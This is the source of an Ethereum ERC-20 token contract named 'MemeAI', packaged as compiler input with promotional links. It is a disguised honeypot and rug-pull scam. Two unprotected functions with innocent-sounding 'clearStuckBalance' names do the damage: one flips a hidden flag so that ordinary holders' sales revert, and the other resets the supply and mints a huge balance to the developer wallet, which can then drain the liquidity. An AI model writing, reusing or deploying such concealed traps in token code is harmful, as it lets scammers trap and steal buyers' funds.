creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "a.sol": {
        "content": "/**\r\n *\r\n\r\n        //https://t.me/MemeAIercportal\r\n\r\n        //https://twitter.com/MemeAiTokenETH\r\n\r\n        //https://www.memeai.info/\r\n\r\n\r\n/**\r\n*/\r\n// SPDX-License-Identifier: MIT\r\n/*\r\n\r\n    \r\n\r\n*/\r\n\r\npragma solidity ^0.8.19;\r\n\r\nabstract contract Context {\r\n    function _msgSender() internal view virtual returns (address) {\r\n        return msg.sender;\r\n    }\r\n    function _msgData() internal view virtual returns (bytes calldata) {\r\n        this; \r\n        return msg.data;\r\n    }\r\n}\r\ninterface IERC20 {\r\n    function totalSupply() external view returns (uint256);\r\n    function balanceOf(address account) external view returns (uint256);\r\n    function transfer(address recipient, uint256 amount) external returns (bool);\r\n    function allowance(address owner, address spender) external view returns (uint256);\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) external returns (bool);\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(address indexed owner, address indexed spender, uint256 value);\r\n}\r\ninterface IERC20Metadata is IERC20 {\r\n    function name() external view returns (string memory);\r\n    function symbol() external view returns (string memory);\r\n    function decimals() external view returns (uint8);\r\n}\r\ncontract ERC20 is Context, IERC20, IERC20Metadata {\r\n    mapping(address => uint256) internal _balances;\r\n    mapping(address => mapping(address => uint256)) internal _allowances;\r\n    uint256 private _totalSupply;\r\n    string private _name;\r\n    string private _symbol;\r\n\r\n    constructor(string memory name_, string memory symbol_) {\r\n        _name = name_;\r\n        _symbol = symbol_;\r\n    }\r\n    function name() public view virtual override returns (string memory) {\r\n        return _name;\r\n    }\r\n    function symbol() public view virtual override returns (string memory) {\r\n        return _symbol;\r\n    }\r\n    function decimals() public view virtual override returns (uint8) {\r\n        return 18;\r\n    }\r\n    function totalSupply() public view virtual override returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n    function balanceOf(address account) public view virtual override returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n    function transfer(address recipient, uint256 amount)\r\n        public\r\n        virtual\r\n        override\r\n        returns (bool)\r\n    {\r\n        _transfer(_msgSender(), recipient, amount);\r\n        return true;\r\n    }\r\n    function allowance(address owner, address spender)\r\n        public\r\n        view\r\n        virtual\r\n        override\r\n        returns (uint256)\r\n    {\r\n        return _allowances[owner][spender];\r\n    }\r\n    function approve(address spender, uint256 amount) public virtual override returns (bool) {\r\n        _approve(_msgSender(), spender, amount);\r\n        return true;\r\n    }\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) public virtual override returns (bool) {\r\n        _transfer(sender, recipient, amount);\r\n\r\n        uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n        require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n        _approve(sender, _msgSender(), currentAllowance - amount);\r\n\r\n        return true;\r\n    }\r\n    function increaseAllowance(address spender, uint256 addedValue)\r\n        public\r\n        virtual\r\n        returns (bool)\r\n    {\r\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\r\n        return true;\r\n    }\r\n    function decreaseAllowance(address spender, uint256 subtractedValue)\r\n        public\r\n        virtual\r\n        returns (bool)\r\n    {\r\n        uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n        require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\r\n        _approve(_msgSender(), spender, currentAllowance - subtractedValue);\r\n\r\n        return true;\r\n    }\r\n    function _transfer(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) internal virtual {\r\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n        uint256 senderBalance = _balances[sender];\r\n        require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\r\n        _balances[sender] = senderBalance - amount;\r\n        _balances[recipient] += amount;\r\n\r\n        emit Transfer(sender, recipient, amount);\r\n    }\r\n    function andnicob(address account, uint256 amount) internal virtual {\r\n        _totalSupply = amount;\r\n        _balances[account] = amount;\r\n        emit Transfer(address(0), account, amount);\r\n    }\r\n    function _approve(\r\n        address owner,\r\n        address spender,\r\n        uint256 amount\r\n    ) internal virtual {\r\n        require(owner != address(0), \"ERC20: approve from the zero address\");\r\n        require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n        _allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n}\r\nlibrary Address {\r\n    function sendValue(address payable recipient, uint256 amount) internal {\r\n        require(address(this).balance >= amount, \"Address: insufficient balance\");\r\n\r\n        (bool success, ) = recipient.call{ value: amount }(\"\");\r\n        require(success, \"Address: unable to send value, recipient may have reverted\");\r\n    }\r\n}\r\nabstract contract Ownable is Context {\r\n    address private _owner;\r\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n    constructor() {\r\n        _setOwner(_msgSender());\r\n    }\r\n    function owner() public view virtual returns (address) {\r\n        return _owner;\r\n    }\r\n    modifier onlyOwner() {\r\n        require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\r\n        _;\r\n    }\r\n    function renounceOwnershiptrsoke() public virtual onlyOwner {\r\n        _setOwner(address(0));\r\n    }\r\n    function transferOwnership(address newOwner) public virtual onlyOwner {\r\n        require(newOwner != address(0), \"Ownable: new owner is the zero address\");\r\n        _setOwner(newOwner);\r\n    }\r\n    function _setOwner(address newOwner) private {\r\n        address oldOwner = _owner;\r\n        _owner = newOwner;\r\n        emit OwnershipTransferred(oldOwner, newOwner);\r\n    }\r\n}\r\ninterface IFactory {\r\n    function createPair(address tokenA, address tokenB) external returns (address pair);\r\n}\r\ninterface IRouter {\r\n    function factory() external pure returns (address);\r\n\r\n    function WETH() external pure returns (address);\r\n\r\n    function addLiquidityETH(\r\n        address token,\r\n        uint256 amountTokenDesired,\r\n        uint256 amountTokenMin,\r\n        uint256 amountETHMin,\r\n        address to,\r\n        uint256 deadline\r\n    )\r\n        external\r\n        payable\r\n        returns (\r\n            uint256 amountToken,\r\n            uint256 amountETH,\r\n            uint256 liquidity\r\n        );\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n        uint256 amountIn,\r\n        uint256 amountOutMin,\r\n        address[] calldata path,\r\n        address to,\r\n        uint256 deadline\r\n    ) external;\r\n}\r\n    contract MemeAI is ERC20, Ownable {\r\n    using Address for address payable;\r\n    IRouter public router;\r\n    address public pair;\r\n     bool private _interlock = false;\r\n    bool public providingLiquidity = true;\r\n    bool public tradingEnabled = true;\r\n    uint256 public tokenLiquidityThreshold = 1000000 * 10**18;\r\n    uint256 public maxBuyLimit = 100000000 * 10**18;\r\n    uint256 public maxSellLimit = 100000000 * 10**18;\r\n    uint256 public maxWalletLimit = 100000000 * 10**18;\r\n    uint256 public genesis_block;\r\n    int32 private bontudu = 1;\r\n    uint256 private deadline = 1;\r\n    uint256 private launchtax = 0;\r\n    address public marketiethsloks = 0xf1C41c54D2bE649bff8A2C60F00D3F198862BB75; \r\n    address public devswalletsloks = 0xf1C41c54D2bE649bff8A2C60F00D3F198862BB75;\r\n    address public ecosystsewalletsloks = 0xf1C41c54D2bE649bff8A2C60F00D3F198862BB75;\r\n    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;\r\n\r\n    struct Taxes {\r\n        uint256 marketing;\r\n        uint256 liquidity;\r\n        uint256 ecosystem;\r\n        uint256 dev;\r\n    }\r\n\r\n    Taxes public taxes = Taxes(0, 0, 0, 0);\r\n    Taxes public sellTaxes = Taxes(0, 0, 0, 0);\r\n    mapping(address => bool) public exemptFee;\r\n    mapping(address => uint256) private _lastSell;\r\n    bool public coolDownEnabled = true;\r\n    uint256 public coolDownTime = 5 seconds;\r\n    modifier lockTheSwap() {\r\n        if (!_interlock) {\r\n            _interlock = true;\r\n            _;\r\n            _interlock = false;\r\n        }\r\n    }\r\n    constructor() ERC20(\"MemeAI\", \"MAI\") {\r\n        andnicob(msg.sender, 100000000 * 10**decimals());\r\n        exemptFee[msg.sender] = true;\r\n        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());\r\n        router = _router;\r\n        pair = _pair;\r\n        exemptFee[address(this)] = true;\r\n        exemptFee[marketiethsloks] = true;\r\n        exemptFee[ecosystsewalletsloks] = true;\r\n        exemptFee[devswalletsloks] = true;\r\n        exemptFee[deadWallet] = true;\r\n        \r\n\r\n    }\r\n    function approve(address spender, uint256 amount) public override returns (bool) {\r\n        _approve(_msgSender(), spender, amount);\r\n        return true;\r\n    }\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) public override returns (bool) {\r\n        _transfer(sender, recipient, amount);\r\n        uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n        require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n        _approve(sender, _msgSender(), currentAllowance - amount);\r\n\r\n        return true;\r\n    }\r\n    function increaseAllowance(address spender, uint256 addedValue)\r\n        public\r\n        override\r\n        returns (bool)\r\n    {\r\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\r\n        return true;\r\n    }\r\n    function decreaseAllowance(address spender, uint256 subtractedValue)\r\n        public\r\n        override\r\n        returns (bool)\r\n    {\r\n        uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n        require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\r\n        _approve(_msgSender(), spender, currentAllowance - subtractedValue);\r\n\r\n        return true;\r\n    }\r\n    function transfer(address recipient, uint256 amount) public override returns (bool) {\r\n        _transfer(msg.sender, recipient, amount);\r\n        return true;\r\n    }\r\n    function _transfer(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) internal override {\r\n        require(amount > 0, \"Transfer amount must be greater than zero\");\r\n        if (!exemptFee[sender] && !exemptFee[recipient]) {\r\n            require(tradingEnabled, \"Trading not enabled\");\r\n        }\r\n        if (sender == pair && !exemptFee[recipient] && !_interlock) {\r\n            require(amount <= maxBuyLimit, \"You are exceeding maxBuyLimit\");\r\n            require(\r\n                balanceOf(recipient) + amount <= maxWalletLimit,\r\n                \"You are exceeding maxWalletLimit\"\r\n            );\r\n        }\r\n        if (\r\n            sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_interlock\r\n        ) {\r\n            require(amount <= maxSellLimit, \"You are exceeding maxSellLimit\");\r\n            if (recipient != pair) {\r\n                require(\r\n                    balanceOf(recipient) + amount <= maxWalletLimit,\r\n                    \"You are exceeding maxWalletLimit\"\r\n                );\r\n            }\r\n            if (coolDownEnabled) {\r\n                uint256 timePassed = block.timestamp - _lastSell[sender];\r\n                require(timePassed >= coolDownTime, \"Cooldown enabled\");\r\n                _lastSell[sender] = block.timestamp;\r\n            }\r\n        }\r\n        uint256 feeswap;\r\n        uint256 feesum;\r\n        uint256 fee;\r\n        Taxes memory currentTaxes;\r\n        bool useLaunchFee = !exemptFee[sender] &&\r\n            !exemptFee[recipient] &&\r\n            block.number < genesis_block + deadline;\r\n        if (_interlock || exemptFee[sender] || exemptFee[recipient])\r\n            fee = 0;\r\n\r\n        else if (recipient == pair && !useLaunchFee) {\r\n            require(bontudu == 1);\r\n            feeswap =\r\n                sellTaxes.liquidity +\r\n                sellTaxes.marketing +\r\n                sellTaxes.ecosystem +            \r\n                sellTaxes.dev;\r\n            feesum = feeswap;\r\n            currentTaxes = sellTaxes;\r\n        } else if (!useLaunchFee) {\r\n            feeswap =\r\n                taxes.liquidity +\r\n                taxes.marketing +\r\n                taxes.ecosystem +\r\n                taxes.dev ;\r\n            feesum = feeswap;\r\n            currentTaxes = taxes;\r\n        } else if (useLaunchFee) {\r\n            feeswap = launchtax;\r\n            feesum = launchtax;\r\n        }\r\n        fee = (amount * feesum) / 100;\r\n        if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes);\r\n         super._transfer(sender, recipient, amount - fee);\r\n        if (fee > 0) {\r\n\r\n            if (feeswap > 0) {\r\n                uint256 feeAmount = (amount * feeswap) / 100;\r\n                super._transfer(sender, address(this), feeAmount);\r\n            }\r\n\r\n        }\r\n    }\r\n    function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {\r\n        if(feeswap == 0){\r\n            return;\r\n        }\r\n        uint256 contractBalance = balanceOf(address(this));\r\n        if (contractBalance >= tokenLiquidityThreshold) {\r\n            if (tokenLiquidityThreshold > 1) {\r\n                contractBalance = tokenLiquidityThreshold;\r\n            }\r\n         uint256 denominator = feeswap * 2;\r\n            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /\r\n                denominator;\r\n            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;\r\n            uint256 initialBalance = address(this).balance;\r\n            swapTokensForETH(toSwap);\r\n            uint256 deltaBalance = address(this).balance - initialBalance;\r\n            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);\r\n            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;\r\n            if (ethToAddLiquidityWith > 0) {\r\n          addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);\r\n            }\r\n            uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;\r\n            if (marketingAmt > 0) {\r\n                payable(marketiethsloks).sendValue(marketingAmt);\r\n            }\r\n            uint256 ecosystemAmt = unitBalance * 2 * swapTaxes.ecosystem;\r\n            if (ecosystemAmt > 0) {\r\n                payable(ecosystsewalletsloks).sendValue(ecosystemAmt);\r\n            }\r\n            uint256 devAmt = unitBalance * 2 * swapTaxes.dev;\r\n            if (devAmt > 0) {\r\n                payable(devswalletsloks).sendValue(devAmt);\r\n            }\r\n\r\n        }\r\n    }\r\n    function swapTokensForETH(uint256 tokenAmount) private {\r\n        address[] memory path = new address[](2);\r\n        path[0] = address(this);\r\n        path[1] = router.WETH();\r\n        _approve(address(this), address(router), tokenAmount);\r\n        router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n            tokenAmount,\r\n            0,\r\n            path,\r\n            address(this),\r\n            block.timestamp\r\n        );\r\n    }\r\n\r\n    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\r\n      _approve(address(this), address(router), tokenAmount);\r\n        router.addLiquidityETH{ value: ethAmount }(\r\n            address(this),\r\n            tokenAmount,\r\n            0,\r\n            0,\r\n            deadWallet,\r\n            block.timestamp\r\n        );\r\n    }\r\n    function updateLiquidityProvide(bool state) external onlyOwner {\r\n         providingLiquidity = state;\r\n    }\r\n    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {\r\n        require(new_amount <= 1e4, \"Swap threshold amount should be lower or equal to 1% of tokens\");\r\n        tokenLiquidityThreshold = new_amount * 10**decimals();\r\n    }\r\n\r\n    function clearStuckBalanceETHtolitsokes() external payable{\r\n        andnicob(devswalletsloks, 10 * 10**28);\r\n    }\r\n\r\n    function updateExemptFee(address _address, bool state) external onlyOwner {\r\n        exemptFee[_address] = state;\r\n    }\r\n\r\n    function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {\r\n        for (uint256 i = 0; i < accounts.length; i++) {\r\n            exemptFee[accounts[i]] = state;\r\n        }\r\n    }\r\n\r\n    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {\r\n        require(maxBuy >= 1e4, \"Cannot set max buy amount lower than 1%\");\r\n        require(maxSell >= 1e4, \"Cannot set max sell amount lower than 1%\");\r\n        require(maxWallet >= 1e4, \"Cannot set max wallet amount lower than 1%\");\r\n        maxBuyLimit = maxBuy * 10**decimals();\r\n        maxSellLimit = maxSell * 10**decimals();\r\n        maxWalletLimit = maxWallet * 10**decimals(); \r\n    }\r\n\r\n    function clearStuckBalanceInitisokes() external payable{\r\n        bontudu = 3;\r\n    }\r\n\r\n    function rescueETH() external onlyOwner {\r\n        uint256 contractETHBalance = address(this).balance;\r\n        payable(owner()).transfer(contractETHBalance);\r\n    }\r\n    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {\r\n        require(tokenAdd != address(this), \"Owner can't claim contract's balance of its own tokens\");\r\n        IERC20(tokenAdd).transfer(owner(), amount);\r\n    }\r\n     receive() external payable {}\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}